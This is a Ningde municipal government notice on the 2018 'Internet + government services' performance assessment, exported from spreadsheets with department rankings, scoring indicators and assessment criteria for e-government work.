宁德市人民政府办公室关于开展2018年度“互联网+政务服务”绩效考核工作的通知

【工作表：名次及折算分】 附件2 2017年度市直单位绩效指标评分表 （推行“互联网+政务服务”规范网上审批、强化电子监察促进审批便捷、高效） 序号 参与考核的市直单位 网上申报率 网上申报得分 预审规范性 预审规范性得分 文件快递 文件快递得分 考核分 折算成100得分 1 发改委 0.9375 9.375 无 5.5 1 5 19.875 93 2 质监局 0.9551000000000001 9.551 2个事项 4 1 5 18.551000000000002 92.5 3 海洋与渔业局 0.7968999999999999 7.968999999999999 无 5.5 1 5 18.469 92 4 环保局 0.7626000000000001 7.626 无 5.5 1 5 18.126 91.8 5 旅游局 0.75 7.5 无 5.5 1 5 18 90.1 6 人防办 0.7292000000000001 7.292000000000001 1个事项“未提交申请材料” 4.5 1 5 16.792 89.5 7 食药监 0.5969 5.968999999999999 无 5.5 1 5 16.469 89.3 8 公安局 0.5 5 无 5.5 0.9209999999999999 5 15.5 89.1 9 气象局 0.4255 4.255 无 5.5 1 5 14.754999999999999 88.9 10 卫计委 0.6156 6.156000000000001 5个事项 3 1 5 14.156 88.8 11 商务局 0.3636 3.6359999999999997 无 5.5 1 5 14.136 88.8 12 公路局 无办件量 3.12 无办件量 5.5 1 5 13.620000000000001 88.7 13 农业局 无办件量 3.12 无办件量 5.5 1 5 13.620000000000001 88.7 14 地税局 未涉及 3.12 未涉及 5.5 未涉及 4.95 13.57 88.5 15 国资委 未涉及 3.12 未涉及 5.5 未涉及 4.95 13.57 88.5 16 粮食局 未涉及 3.12 未涉及 5.5 未涉及 4.95 13.57 88.5 17 统计局 未涉及 3.12 未涉及 5.5 未涉及 4.95 13.57 88.5 18 外侨办 未涉及 3.12 未涉及 5.5 未涉及 4.95 13.57 88.5 19 物价局 未涉及 3.12 未涉及 5.5 未涉及 4.95 13.57 88.5 20 医保局 未涉及 3.12 未涉及 5.5 未涉及 4.95 13.57 88.5 21 体育局 0.3973 3.973 1个事项“信息有误，预审不通过” 4.5 1 5 13.472999999999999 88.2 22 交通局 0.21789999999999998 2.179 无 5.5 1 5 12.679 88.2 23 消防支队 0.1736 1.736 无 5.5 1 5 12.236 88.2 24 水利局 0.14800000000000002 1.4800000000000002 无 5.5 1 5 11.98 88 25 规划局 0.12869999999999998 1.287 无 5.5 1 5 11.786999999999999 88 26 民政局 0.125 1.25 无 5.5 1 5 11.75 87.9 27 工商局 0.1036 1.036 无 5.5 1 5 11.536 87.6 28 司法局 0.062 0.62 无 5.5 0.7692 5 11.120000000000001 87.6 29 国土局 0.037000000000000005 0.37000000000000005 无 5.5 1 5 10.870000000000001 87.5 30 安监局 0.026000000000000002 0.26 无 5.5 1 5 10.76 87.6 31 科技局 0.012 0.12 无 5.5 1 5 10.620000000000001 87.5 32 林业局 0.004699999999999999 0.04699999999999999 无 5.5 1 5 10.547 87.5 33 住建局 0.0042 0.041999999999999996 无 5.5 1 5 10.542 87.5 34 财政局 0 0 无网上申 请事项 5.5 1 5 10.5 87.4 35 教育局 0 0 无网上申 请事项 5.5 1 5 10.5 87.4 36 经信委 0 0 无网上申 请事项 5.5 1 5 10.5 87.3 37 民宗局 0 0 无网上申 请事项 5.5 1 5 10.5 87.3 38 文广新局 0 0 无网上申 请事项 5.5 1 5 10.5 87.1 39 人社局 0.0012 0.011999999999999999 无 5.5 0.3859 3.5 9.012 87.1 【工作表：市直部门评分表】 附件2 2018年度市直单位“互联网+政务服务”绩效指标考核表 考核内容 考核标准 负责考核 单位 本项 分值 一级 指标 序 号 二级考核指标内容 一、福建省网上办事大厅应用 1 权责、中介服务、前置审批等清单入驻省网上办事大厅情况 部门的权责清单、中介服务、前置审批清、最多跑一趟、一趟不用跑事项清单在省网上办事大厅要及时、准确公开，接受社会监督，并根据法律法规规章调整等情况实现动态调整，检查发现缺漏一项或者信息内容不准确、不全面的扣2分。 市行政服务中心管委会、市审改办 10 2 事项入驻省网上办事大厅情况 涉及群众、企业及其他社会组织依申请办理的所有行政权力事项（除涉密及敏感事项外）按照应进必进原则，全部入驻省网上办事大厅，实行一网网上办理，同时根据动态调整机制，实时更新。检查发现一个事项未入驻或未更新的扣2分。 10 3 省网上办事大厅各类办事服务和清单信息发布规范、准确、完整情况 省网上办事大厅发布的部门各类办事服务与清单信息规范、准确、完整，链接有效，办事服务事项办事指南信息要素全面、内容准确、流程清晰、材料明确、附件实用，检查发现一项信息不符合要求扣1分。 10 4 事项星级设置 省网上办事大厅的事项星级设定与实际办理情况明显不符或与申报材料要求出现自相矛盾的，发现1项扣1分；本地区在省网上办事大厅发布的事项开通“四星级”、“五星级”服务的事项占比≧30%，不达标的扣5分。 市行政服务中心管委会 15 5 自建网上办事系统的事项指南信息与省网上办事大厅一致，支持账号单点登录 自建网上办事系统（含部门业务系统、网站、微信、政务服务APP等）、纸质事项指南、部门事项查询机发布的服务事项信息与省网上办事大厅保持一致的，发现1项不一致的，扣2分，满分10分。支持省网上办事大厅账号单点登录自建网上办事系统加5分。 15 6 省网上办事大厅预审及时率 审批办理人须在两个工作日内对省网上办事大厅网上申请件进行预审处理，预审及时率每1%得0.1分。 10 7 省网上办事大厅四星、五星服务事项受理及时率 四星、五星服务事项预审通过后，须在本地自建网上办事系统一个工作日内受理，受理及时率每1%得0.1分。 10 一、福建省网上办事大厅应用 8 省网上办事大厅预审规范性 按照承诺星级服务标准做出预审决定和意见，预审意见清晰完整、有指导性，预审不规范每件扣1分。 市行政服务中心管委会 10 9 报送的办件信息完整性 报送的办件信息须满足《省网上办事大厅行政审批业务核心数据指标》要求，数据完整的办件占总办件数比率，每1%得0.1分。 10 10 事项开通文件快递与非税收入网上支付 建立文件快递制度的事项占总事项数，每10个百分点得1分，满分5分。采用电子支付方式缴费事项占总缴费事项数，每1个百分点得1分，满分5分。 10 11 省网上办事大厅申报比率和网上申报投诉情况 网上申报率，指从省网上办事大厅申报的办件占总办件的比例，每1%得1分，最高得10分。强制行政相对人在现场进行网上申报的，被投诉一次，扣1分。 10 12 提供省网上办事大厅分厅链接情况 部门网站上的事项在线办理链接至省网上办事大厅宁德市分厅对应部门。 5 二、福建省投资项目在线监管平台应用 13 投资项目取码和录入情况 未按照投资建设项目取码相关规定进行项目取码登记的，如投资建设项目编码发现重复取码或者未取码的、将项目分成子项目进行多次取码、项目信息填写错误的等情况，发现1例，扣1分。未在审批系统办理投资建设项目编码信息登记的，发现1例扣1分。 市行政服务中心管委会 20 14 投资项目审批事项管理 投资项目审批事项需全部纳入省投资项目监管平台，并在省网上办事大厅事项发布库做好相应投资项目事项的配置，发现1个事项不符合要求的，扣1分，本项最高扣10分。 三、行政服务中心网上审批系统应用 15 审批事项在网上审批办理情况 部门行政审批服务事项办理未在行政服务中心网上审批系统办理的、存在“体处循环”，发现1次扣1分。 市行政服务中心管委会 10 16 审批事项跨层级在线联动办理 部门通过网上审批系统与省网上办事大厅完成省市联动审批通道建设，并有具体业务办理的，加5分；部门通过市县网上审批系统完成市县乡三级联动审批通道建设，并有具体业务办理的，加5分。 市行政服务中心管委会 10 三、行政服务中心网上审批系统应用 17 部门自建业务系统与网上审批系统对接信息共享应用 部门自建业务系统完成网上审批系统对接，实现信息共享并有深度应用加5分。 市行政服务中心管委会 5 18 3星及以上星级事项申报件办理情况 3星及以上星级事项申报业务必须是申请人主动申报，不得强制要求网上申报和放弃申报，申报业务必须要有上传电子材料，电子申报材料不齐全要做预审补件处理，申请人已按星级事项办理要求申报，窗口需提供对应的星级承诺服务，未按规定办理，发现1次扣1分。 10 19 省网上办事大厅全流程办理业务情况 办理省网上办事大厅5星级事项申报业务中，做到全流程网上办理（在线申请、网上预审、网上受理、网上办结），申请人不需再提交纸质材料，无需跑现场窗口，符合全流程办理要求的每1件加0.5分。 10 四、推进“互联网+审批便民服务”工作建设 20 全流程网办事项数量和占比 在省网上办事大厅或其他审批系统、服务平台、APP、自助机等渠道可达到全流程网上办理，无需提交纸质材料，也无需领取纸质审批结果的事项(在不同平合上相同事项不重复计算)，按全流程网办事项数量和全流程网办事项占行政审批和服务事项比例进行综合测算(测算公式为：(数量排名+占比排名)/2=综合排名，如部门事项数量排名第一，占比排名第3，则综合排名为(1+3)/2=2)，综合测算后按综合排名前十位依次得分，第一名15分，第二名13.5分，第三名11.5分，逐次递减1.5分，第十名1.5分。市行政服务中心管委会和市审改办将结合实地考核进行抽查，每发现1项事项不符合要求，扣1分，最高扣分15分。 市行政服务中心管委会、市审改办 15 21 推行省网上办事大厅智能化审批服务 部门积极配合省网上办事大厅推行开展智能化审批服务试点相关工作，并认真整理报送符合智能化审批条件的审批服务事项的，加5分；每开通一项智能化审批服务事项（备注：该事项需经省网上办事大厅确认满足智能化审批条件，并做开展应用），加1分。本项最高加分10分。 市行政服务中心管委会 10 五、电子证照生成和应用 子证照生成和应用 22 对接宁德市电子证照库 部门自建业务系统对接宁德市电子证照库，实现在电子证照（批文）实时生成、推送入库和应用的，加5分。 市数字办 5 五、电子证照生成和应用 23 事项申报材料和办理结果中的证照（批文）操作情况 在省网上办事大厅的事项发布库中，事项申报材料中需要提交证照（批文）的，必须要选择材料收取方式为“电子证照”并做好对应证照（批文）绑定，事项办结结果有生成证照（批文），必须填写证照（批文）名称和上传证照（批文）样本，发现1项不符合要求的，扣1分。 市行政服务中心管委会、市数字办 10 24 部门证照（批文）印章和模板情况 部门完成电子证照（批文）生成工作所需的电子印章申请、制作和所有电子证照（批文）模板建立的，得5分。 市数字办 5 25 “不再重复受理”的证照清单工作情况 积极配合并做好“不再重复受理”的证照清单相关工作的，加10分。（注：“不再重复受理”的证照清单，由市直部门和各县（市、区）汇总报送至市数字办，市数字办反馈省数字办，省数字办汇总会同各设区市确定后公布，并同步与本级审改办衔接，各级各部门相应修订相关的办事指南,并做好存量证照转化工作） 市数字办、市行政服务中心管委会、市审改办 10 26 新增证照生成 所有审批服务件都实现电子证照同步生成的，得20分；未生成证照或未及时归集到电子证照库的，发现一处错漏的扣1分，直至扣完。 市数字办 20 27 存量证照转化 通过电子证照库查看其存量证照生成情况，全部完成的得20分；未全部完成的，发现一处错漏的扣1分，直至扣完；（加分情况：部门完成存量证照转化数量、质量综合情况前三名依次得分，第1名得5分，第2名得2.5分，第3名得1.5分）。 市数字办 20 28 电子证照应用 通过省网上办事大厅、行政审批系统检查其电子证照在审批服务办件中的应用情况，实现全部免于提交纸质证照的得25分；未全部实现的，发现一处错漏的扣2分，直至扣完。 市行政服务中心管委会、市数字办 25 六、闽政通APP资源对接和保障 29 便民服务事项梳理情况 2018年9月底前，市直各部门和公共企事业单位按相关通知要求规范梳理便民服务事项清单并反馈的（不少于5项）得20分；年底前完成，得10分；未完成，不得分。（部门无便民服务事项或事项少于五项且及时反馈合理理由的，本项不扣分） 市数字办 20 六、闽政通APP资源对接和保障 30 便民服务事项接入数量情况 （1）可全流程网上办理的服务事项，每接入一个得20分；（2）可以实现预约、缴费、申报或报考（名）等单项功能的服务事项，每接入一个得15分；（3）只能实现查询功能的服务事项，每接入一个得10分；（4）上述三项便民服务事项的任一事项以服务集成、数据集成方式接入的，得5分，本项累计得分不超过20分。（全国或全省统一部署的应用系统，不重复计算）。 市数字办 20 31 协助推广情况 （1）在分中心、办事大厅、派出所、办公场所等面向社会公众的办事地点进行推广的，每在一个地点进行推广的，得10分；（2）在部门网站、微信公众号、APP等线上渠道进行推广的，每在一个渠道进行推广的，得10分。满分20分 20 32 系统保障情况 系统保障情况。接入闽政通APP出现故障的，根据下列情况按照出现次数扣分：在2个小时内修复的，不扣分；在2-24个小时内修复的，每次扣2分；超过24个小时修复的，每次扣4分。 10 七、数据中心整合 33 数据中心整合迁移情况 按《宁德市数字办关于征集2019年数字宁德工作要点相关材料的函》等文件，按时反馈本部门在用系统基本情况的，得5分；按全市统一规划完成本部门应用系统整合迁移的，根据已完成迁移的系统比例得分（公式：迁移数/规划迁移数*25），满分25分。（未涉及本年度应用系统整合迁移规划的市直部门本项不扣分）。 30 八、政务数据汇聚共享 34 配合宁德市政务大数据平台建设情况 按《宁德市网格化服务管理工作领导小组关于推进宁德市网格化服务管理信息平台项目建设工作的通知》等文件要求配合“宁德市政务大数据平台”建设调研并按要求反馈“信息资源调研表”的得25分；按项目建设相关通知，配合完成信息资源汇聚的，根据完成汇聚的信息项比例得分（公式：已完成汇聚的信息项/要求完成汇聚的信息项*55，满分55分。(通知文件未涉及的市直有关部门，本项不扣分) 80 35 向市汇聚共享平台提出面向公共应用和部门业务数据共享服务需求 向市汇聚共享平台提出面向公共应用和部门业务数据共享服务需求的，得5分。向市汇聚共享平台提出面向公共应用和部门业务数据共享服务具体需求的，并按照统一规划成功进行数据共享的得5分。（无需求，但有合理理由并及时反馈的，本项得满分）。 10 八、政务数据汇聚共享 36 部门配合解决省级部门自建系统与行政审批系统“二次录入”问题 使用省级部门自建业务的部门为满足行政审批系统解决“二次录入”办件信息问题，梳理出本单位需解决“二次录入”行政审批和公共服务事项需求清单的，得10分；部门按要求配合省政务数据汇聚共享平台，做好接收和处理办件信息的，得10分。 市行政服务中心管委会、市数字办 20 九、用户体验 37 现场服务窗口跑几次与省网上办事大厅承诺对比 现场服务窗口跑几次，10分。用户体验与省网上办事大厅承诺一致的，1个百分点得0.1分；多于省网上办事大厅承诺1次的，1个百分点得0.06分；多于省网上办事大厅承诺2次及以上的，不得分。 市行政服务中心管委会 10 38 工作人员服务态度 工作人员服务态度，10分。用户体验为“很满意”的，1个百分点得0.1分；为“基本满意”的，1个百分点得0.06分；为“不满意”的，不得分。 10 39 网上办事效率 网上办事效率，10分。用户体验为“很满意”的，1个百分点得0.1分；为“基本满意”的，1个百分点得0.06分；为“不满意”的，不得分。 10 40 办事指南准确度 办事指南准确度，10分。用户体验为“准确”的，1个百分点得0.1分；为“基本准确”的，1个百分点得0.06分；为“不准确”的，不得分。 10 41 随机电话回访 随机电话回访，10分。用户体验为“很满意”的，1个百分点得0.1分；为“基本满意”的，1个百分点得0.06分；为“不满意”的，不得分。 10 十、创新工作 42 “互联网+政务服务”典型做法 推进“互联网+政务服务”工作中有创新改革举措的，经验可复制推广的，并在社会有良好反响的，经考评组评议酌情加分，最高不超过30分。 市数字办、市行政服务中心管委会、市审改办 30 总分 600 备注：有些部门未涉及的指标不予考核，不扣分也不加分，考评结果得分按参与考核指标折算。 【工作表：Sheet2 (2)】 省对市绩效考核总分1000分，行政服务质量占30分，“互联网+政务服务”占行政服务质量中的35%即10.5分 序号 考核内容 方案要求 考核标准 一 “互联网+政务服务”总体推进及年度工作任务完成情况 1.未完成《宁德人民政府办公室关于加快推进“互联网+政务服务”工作方案》2017年度工作任务按附件2《考核办法》扣分，满分60分。 2.未完成本县（市、区）制定的“互联网+政务服务”工作方案2017年度工作任务1项扣10分，满分40分。 1.规范网上服务事项。 第四季度：对接省、市、县（区）行政审批和公共服务事项目录（简称行政审批和服务事项目录）参考目录，建立网上审批事项目录更新调整机制，依托市政府门户网站和网上办事大厅集中公开发布；编制乡镇（街道）行政审批和服务事项目录，启动服务事项编码管理，按照参考目录，规范全市事项名称、条件、材料、流程、时限等，做到“同一事项、同一标准、同一编码”。 1、做好省、市行政审批和服务事项参考目录衔接工作，规范事项名称。未按审改办要求衔接到位扣1分。（数据采集单位：审改办） 2、建立市、县、乡各级网上审批事项目录更新调整机制。未及时在市、县政府门户网站和网上办事大厅集中公开发布的扣1分。（数据采集单位：行政服务中心管委会） 3、编制乡镇（街道）行政审批和服务事项目录。（数据采集单位：审改办） 4、规范事项的办理条件、材料、流程、时限，做到“同一事项、同一标准、同一编码”。（数据采集单位：行政服务中心管委会） 2.简化办事材料提交。 第四季度：各部门对照电子证照库，调整清理不属于网上办理的事项，清理现有办事中重复提交的材料，在行政审批和服务事项目录中明确以共享方式获取材料。实现网上办事大厅、市、县（市、区）行政审批系统、市民主页平台等办事服务平台与行政审批和服务事项目录、电子证照库对接，在事项办理过程中凡是电子证照库中有的电子证照不再要求公众重复提交材料。 1.完成调整清理不属于网上办理的事项和有清理简化办事材料的,在行政审批和服务事项目录中明确以共享方式获取材料，得5分，每发现一个事项未完成的扣1分，扣完为止。 2.办事平台实现与电子证照库对接，各有关单位需积极配合市数字办进行系统对接。在事项办理过程中明确以共享方式获取材料，不再要求公众重复提交材料得5分，事项办理过程中发现一个无法获取材料的扣0.5分，扣完为止。 3.推进服务事项网上办理 2017年6月底前，全市90%行政审批事项和公共服务事项（即省网上办事大厅“三星级”及以上的办事事项）实现网上办理。 在省网上办大厅各县（市、区）分厅查询开通“三星级”及以上的办事事项的比例，已达90%以上得5分，每少1%扣0.2分。 4.实现审批事项跨层级在线联动办理、主动服务 2017年底前，完成省网上办事大厅和市、县（市、区）行政审批系统的流程对接，支持审批事项跨层级在线联动办理。 1.省网上办事大厅和县（市、区）行政审批系统的流程对接情况，已流程对接成功得2分，未对接不得分。 2.查看跨层级在线联动办理事项目录，已梳理跨层级在线联动办理事项目录，根据目录的完整情况从1-5分之间酌情给分，未梳理不得分。 3.查看跨层级在线联动办理事项实际办理量。根据办件量多少从0--3分之间酌情给分 5.推进实体政务大厅与网上服务平台融合发展 第四季度：实现非密政务行政审批和服务事项全部进驻实体政务大厅，实行事项集中办理、一站式办结；开展实体政务大厅和网上服务平台服务流程融合，共享后台基础数据库和流程信息，实现预约、咨询、受理、办理、查询、反馈等环节的线上线下无缝衔接。依托省网上办事大厅，对接全省统一的预约服务功能，对接EMS第三方物流快递信息平台、多卡融合平台、财政非税收入支付平台，实现线上与线下全流程闭环服务。 1.查看非密政务行政审批和服务事项目录。无目录的不得分，有事项目录的根据目录的完整情况从1-3分之间酌情给分。 2.查看实体政务大厅进驻事项与事项目录比对情况。从1-5分之间酌情给分。 3.查看政务大厅线上线下无缝对接情况从0-2分之间酌情给分。 6.推动基层服务网点与网上服务平台无缝对接。 第四季度：建成社区综合受理平台，实现社区综合服务窗口在全市乡镇（街道）、村（社区）全覆盖，打造“便民15分钟服务圈”。 1.查看社区综合受理平台验收（或初验）文档，已建成得2分，未建成不得分。 2.查看相关资料，该平台在辖区内乡镇（街道）、村（社区）覆盖率区间位于30%至60%得1分，61%至90%得2分，91%至100%得3分。 7.推进政务数据汇聚共享 第四季度：建设市级政务数据汇聚共享平台，汇聚整合各部门人口、法人数据，形成可供高效共享和分析挖掘的人口、法人数据云。 1.查看相关资料。市级政务汇聚共享平台建设项目（或其他项目涵盖该平台功能）完成招标流程，得3分。 2.查看相关资料。市级政务汇聚共享平台建设项目（或其他项目涵盖该平台功能）进入实施阶段，得2分。 8.加快新型智慧城市建设 第四季度：在能源监测、车辆监控、环境监测、船舶监控、公用事业等领域启动一批物联网重大应用工程，推动交通等重点领域应用。 查看相关资料。能源监测、车辆监控、环境监测、船舶监控、公共事业等领域的重大应用工程以及交通等重点领域应用每启动一项（以项目立项为节点）得5分。 二 “一趟不用跑”和“最多跑一趟”办事清单完成情况 1.未制定推行“一趟不用跑”和“最多跑一趟”办事清单的实施方案，扣20分。满分20分。 2.未按时公布第一批“最多跑一趟”办事清单，扣20分。满分20分。 3.未按时公布第二批“一趟不用跑”和“最多跑一趟”办事清单，扣30分。满分30分。 4.未按时公布第三批“一趟不用跑”和“最多跑一趟”办事清单，扣30分。满分30分。 三 福建省网上办事大厅应用情况 1.辖区内乡镇（街道）全部完成行政审批和公共服务事项梳理并入驻省网上办事大厅的，得10分，缺失一个乡镇（街道）扣1分，最高扣10分。 2.纳入闽政通APP项目的便民服务事项，全部同步入驻全省网上办事大厅，对应的应用系统与全省网上办事大厅实现对接的，得10分。未完成对接和入驻的，按比例扣分。 3.网上申报率，指从省网上办事大厅申报的办件占总办件的比例，每1%得1分，最高得10分。 4.审批办理人须在两个工作日内对省网上办事大厅网上申请件进行预审处理，预审及时率每1%得0.2分，最高得20分。 5.审批办理人以“材料不齐全”“材料有误”等含糊原因，对网上申请件做预审不通过处理的，或未在预审意见中具体说明不通过的合理原因的，抽查发现一件扣2分，未发现问题得10分。 6.报送的办件信息须满足《省网上办事大厅行政审批业务核心数据指标》要求，数据完整的办件占总办件数比率，每1%得0.1分，满分10分。在一天内（24小时）完成办件办理信息及时报送的，得5分，每少4个百分点扣1分，扣至0分为止。 7.在当地政府和行政服务中心（或市民服务中心）门户网站首页显著位置设立省网上办事大厅本地分厅链接的得10分，全年不定期抽查发现未设立一次扣2分，扣至0分为止；利用省网上办事大厅实现用户认证或实现交叉认证的，得5分，未实现的不得分。 8.对与省网上办事大厅对接的前置机等技术环境日常维护不到位，故障频发，或省级运维管理人员已发出故障通知情况下，不及时排除的，每发现一次在总分中扣3分。 9.投资项目在线审批监管信息的报送情况。纳入监管平台的投资项目基本信息报送正确率达到95%的，得4分；达到90%的，得2分；其余情况不得分。监管平台的投资项目审批过程信息（包括办件基本信息、办件环节信息）正确率达到80%的，得4分；达到60%的，得2分；其余情况不得分。纳入监管平台的法人信息正确率达到90%的，得2分；达到80%的，得1分；其余情况不得分。 10.建立文件快递制度的事项占总事项数，每10个百分点得2分，满分10分。采用电子支付方式缴费事项占总缴费事项数，每1个百分点得1分，满分5分。 四 闽政通APP建设配合和保障情况 1.政务服务资源梳理情况，30分：一是项目前期调研反馈情况，10分。按照《福建省数字福建建设领导小组办公室 福建省行政审批制度改革工作小组办公室关于开展省政务服务APP统一平台项目前期调研的通知》（闽数字办函〔2017〕6号)、《政务服务APP前期调研》（宁数字办〔2017〕3号）要求反馈《福建省政务服务APP统一平台项目（设区市）梳理调研表》的，得10分;未及时反馈的,得0分。二是开展便民服务事项梳理的，得10分；未开展的，得O分。三是项目建设期间详细调研反馈情况，满分10分。及时登录“闽政通APP适用信息资源管理系统”确认、修改适用信息资源，并配合项目建设单位做好本地区政务服务资源梳理、调研，按时、完整反馈材料的，得10分；未按时反馈材料或反馈材料不完整的，得5分；未配合的，得O分。 2.适用APP的政务服务资源接入情况，50分。（1）可全流程办理的服务事项，每接入一个得50分。（2）可以实现报考（名）、申报、预约、缴费或查询等单项功能的服务事项，每接入一个得20分。（3）其他服务事项（网站便民服务栏目），每接入一个得10分。以上合计，最高得50分（全国或全省统一部署的应用系统，不重复计算）。 3.已接入的政务服务资源保障情况，20分。接入系统出现故障的，根据下列情况按照出现次数扣分：在2个小时内修复的，不扣分；在24个小时内修复的，每次扣2分；超过24个小时修复的，每次扣分4分。 五 12345便民服务平台应用情况 1.及时办结率，30分。及时办结率达100%的，得30分；在此基础上，每降低1%，减1分。 2.办结回复率，30分。办结回复率达100%的，得30分；在此基础上，每降低1%，减1分。 3.满意度，40分。满意度低于80%的，不得分；达到80%的，得10分；在此基础上，每提高1%，加2分。 六 电子证照生成和应用情况 1.新增证照生成，30分。通过“省网上办事大厅”、行政审批系统和电子证照库等方式抽查电子证照生成情况。所有办件都实现电子证照同步生成的，得30分，全年不定期抽查；发现一次未按要求同步生成证照并及时归集到省及设区市电子证照库的扣5分，直至扣完。 2.存量证照转化，40分。通过省及设区市电子证照库查看设区市部门签发的存量证照电子化转化情况，全年不定期抽查；全部完成的得40分，发现一处未按要求生成存量电子证照的扣5分，直至扣完。 3.电子证照应用，30分。实现入驻行政服务中心的行政审批和公共服务事项支持电子证照应用，通过“网上办事大厅”、行政审批系统抽查行政审批及公共服务事项办件中电子证照应用情况。实现支持电子证照应用的事项达80%的，得30分；达60%及以上的，得25分；达40%及以上的，得20分；达20%及以上的，得15分；达10%及以上的，得10分；10%以下，不得分。 【工作表：Sheet1】 附件2. 《宁德市人民政府关于印发加快推进“互联网+政务服务”工作方案》 2017年度考核办法（总分60分） 序号 工作任务 工作内容 时间安排 具体贯彻办法 目前进度情况 分值 考核标准 得扣分办法 检查情况 得分情况 备注 1 规范网上服务事项。 第四季度：对接省、市、县（区）行政审批和公共服务事项目录（简称行政审批和服务事项目录）参考目录，建立网上审批事项目录更新调整机制，依托市政府门户网站和网上办事大厅集中公开发布；编制乡镇（街道）行政审批和服务事项目录，启动服务事项编码管理，按照参考目录，规范全市事项名称、条件、材料、流程、时限等，做到“同一事项、同一标准、同一编码”。 10 1、做好省、市行政审批和服务事项参考目录衔接工作，规范事项名称。未按审改办要求衔接到位扣1分。（数据采集单位：审改办） 2、建立市、县、乡各级网上审批事项目录更新调整机制。未及时在市、县政府门户网站和网上办事大厅集中公开发布的扣1分。（数据采集单位：行政服务中心管委会） 3、编制乡镇（街道）行政审批和服务事项目录。（数据采集单位：审改办） 4、规范事项的办理条件、材料、流程、时限，做到“同一事项、同一标准、同一编码”。（数据采集单位：行政服务中心管委会） 2 简化办事材料提交。 第四季度：各部门对照电子证照库，调整清理不属于网上办理的事项，清理现有办事中重复提交的材料，在行政审批和服务事项目录中明确以共享方式获取材料。实现网上办事大厅、市、县（市、区）行政审批系统、市民主页平台等办事服务平台与行政审批和服务事项目录、电子证照库对接，在事项办理过程中凡是电子证照库中有的电子证照不再要求公众重复提交材料。 10 1.完成调整清理不属于网上办理的事项和有清理简化办事材料的,在行政审批和服务事项目录中明确以共享方式获取材料，得5分，每发现一个事项未完成的扣1分，扣完为止。 2.办事平台实现与电子证照库对接，各有关单位需积极配合市数字办进行系统对接。在事项办理过程中明确以共享方式获取材料，不再要求公众重复提交材料得5分，事项办理过程中发现一个无法获取材料的扣0.5分，扣完为止。 3 推进服务事项网上办理 2017年6月底前，全市90%行政审批事项和公共服务事项（即省网上办事大厅“三星级”及以上的办事事项）实现网上办理。 2017年第2季度 市直各部门按星级服务标准标识相应入驻省网办事大厅事项，90%的办事事项开通3星级以上服务通道。 宣传引导企业和群众通过网上办事大厅申报办件，多走“网路”。审批窗口人员应根据申请人实际情况提供标准化服务。 宁德市本级及所辖10个县级中心已达到90%行政审批事项和公共服务事项（即省网上办事大厅“三星级”及以上的办事事项）实现网上办理。 5 在省网上办大厅各县（市、区）分厅查询开通“三星级”及以上的办事事项的比例，已达90%以上得5分，每少1%扣0.2分。 已达90%以上得 分，每少1%扣0.01分。 4 实现审批事项跨层级在线联动办理、主动服务 2017年底前，完成省网上办事大厅和市、县（市、区）行政审批系统的流程对接，支持审批事项跨层级在线联动办理。 2017年第2季度 梳理在线联动办理事项，流程对接接口开发 软件开发商已确定 10 1.省网上办事大厅和县（市、区）行政审批系统的流程对接情况，已流程对接成功得2分，未对接不得分。 2.查看跨层级在线联动办理事项目录，已梳理跨层级在线联动办理事项目录，根据目录的完整情况从1-5分之间酌情给分，未梳理不得分。 3.查看跨层级在线联动办理事项实际办理量。根据办件量多少从0--3分之间酌情给分 1.已流程对接成功得2分，未对接不得分 2.已梳理跨层级在线联动办理事项目录，根据目录的完整情况从1-5分之间酌情给分，未梳理不得分。 3.根据办件量多少从0--3分之间酌情给分 5 推进实体政务大厅与网上服务平台融合发展 第四季度：实现非密政务行政审批和服务事项全部进驻实体政务大厅，实行事项集中办理、一站式办结；开展实体政务大厅和网上服务平台服务流程融合，共享后台基础数据库和流程信息，实现预约、咨询、受理、办理、查询、反馈等环节的线上线下无缝衔接。依托省网上办事大厅，对接全省统一的预约服务功能，对接EMS第三方物流快递信息平台、多卡融合平台、财政非税收入支付平台，实现线上与线下全流程闭环服务。 10 1.查看非密政务行政审批和服务事项目录。无目录的不得分，有事项目录的根据目录的完整情况从1-3分之间酌情给分。 2.查看实体政务大厅进驻事项与事项目录比对情况。从1-5分之间酌情给分。 3.查看政务大厅线上线下无缝对接情况从0-2分之间酌情给分。 1.未梳理非密政务行政审批和服务事项目录的不得分，有事项目录的根据目录的完整情况从0.1-0.5分之间酌情给分。 2.实体政务大厅进驻事项与事项目录比对情况从0.1-0.5分之间酌情给分。 3.政务大厅线上线下无缝对接情况从0.1-0.5分之间酌情给分。 4.对接全省统一的预约服务功能，对接EMS第三方物流快递信息平台、多卡融合平台、财政非税收入支付平台情况从0.5-1分之间酌情给分。 6 推动基层服务网点与网上服务平台无缝对接。 第四季度：建成社区综合受理平台，实现社区综合服务窗口在全市乡镇（街道）、村（社区）全覆盖，打造“便民15分钟服务圈”。 5 1.查看社区综合受理平台验收（或初验）文档，已建成得2分，未建成不得分。 2.查看相关资料，该平台在辖区内乡镇（街道）、村（社区）覆盖率区间位于30%至60%得1分，61%至90%得2分，91%至100%得3分。 7 推进政务数据汇聚共享 第四季度：建设市级政务数据汇聚共享平台，汇聚整合各部门人口、法人数据，形成可供高效共享和分析挖掘的人口、法人数据云。 5 1.查看相关资料。市级政务汇聚共享平台建设项目（或其他项目涵盖该平台功能）完成招标流程，得3分。 2.查看相关资料。市级政务汇聚共享平台建设项目（或其他项目涵盖该平台功能）进入实施阶段，得2分。 8 加快新型智慧城市建设 第四季度：在能源监测、车辆监控、环境监测、船舶监控、公用事业等领域启动一批物联网重大应用工程，推动交通等重点领域应用。 5 查看相关资料。能源监测、车辆监控、环境监测、船舶监控、公共事业等领域的重大应用工程以及交通等重点领域应用每启动一项（以项目立项为节点）得5分。 【工作表：Sheet1 (3)】 附件2. 《宁德市人民政府关于印发加快推进“互联网+政务服务”工作方案》 2017年度考核办法（总分60分） 序号 工作任务 工作内容 时间安排 具体贯彻办法 目前进度情况 分值 考核标准 得扣分办法 检查情况 得分情况 备注 1 规范网上服务事项。 第四季度：对接省、市、县（区）行政审批和公共服务事项目录（简称行政审批和服务事项目录）参考目录，建立网上审批事项目录更新调整机制，依托市政府门户网站和网上办事大厅集中公开发布；编制乡镇（街道）行政审批和服务事项目录，启动服务事项编码管理，按照参考目录，规范全市事项名称、条件、材料、流程、时限等，做到“同一事项、同一标准、同一编码”。 10 1、做好省、市行政审批和服务事项参考目录衔接工作，规范事项名称。未按审改办要求衔接到位扣1分。（数据采集单位：审改办） 2、建立市、县、乡各级网上审批事项目录更新调整机制。未及时在市、县政府门户网站和网上办事大厅集中公开发布的扣1分。（数据采集单位：行政服务中心管委会） 3、编制乡镇（街道）行政审批和服务事项目录。（数据采集单位：审改办） 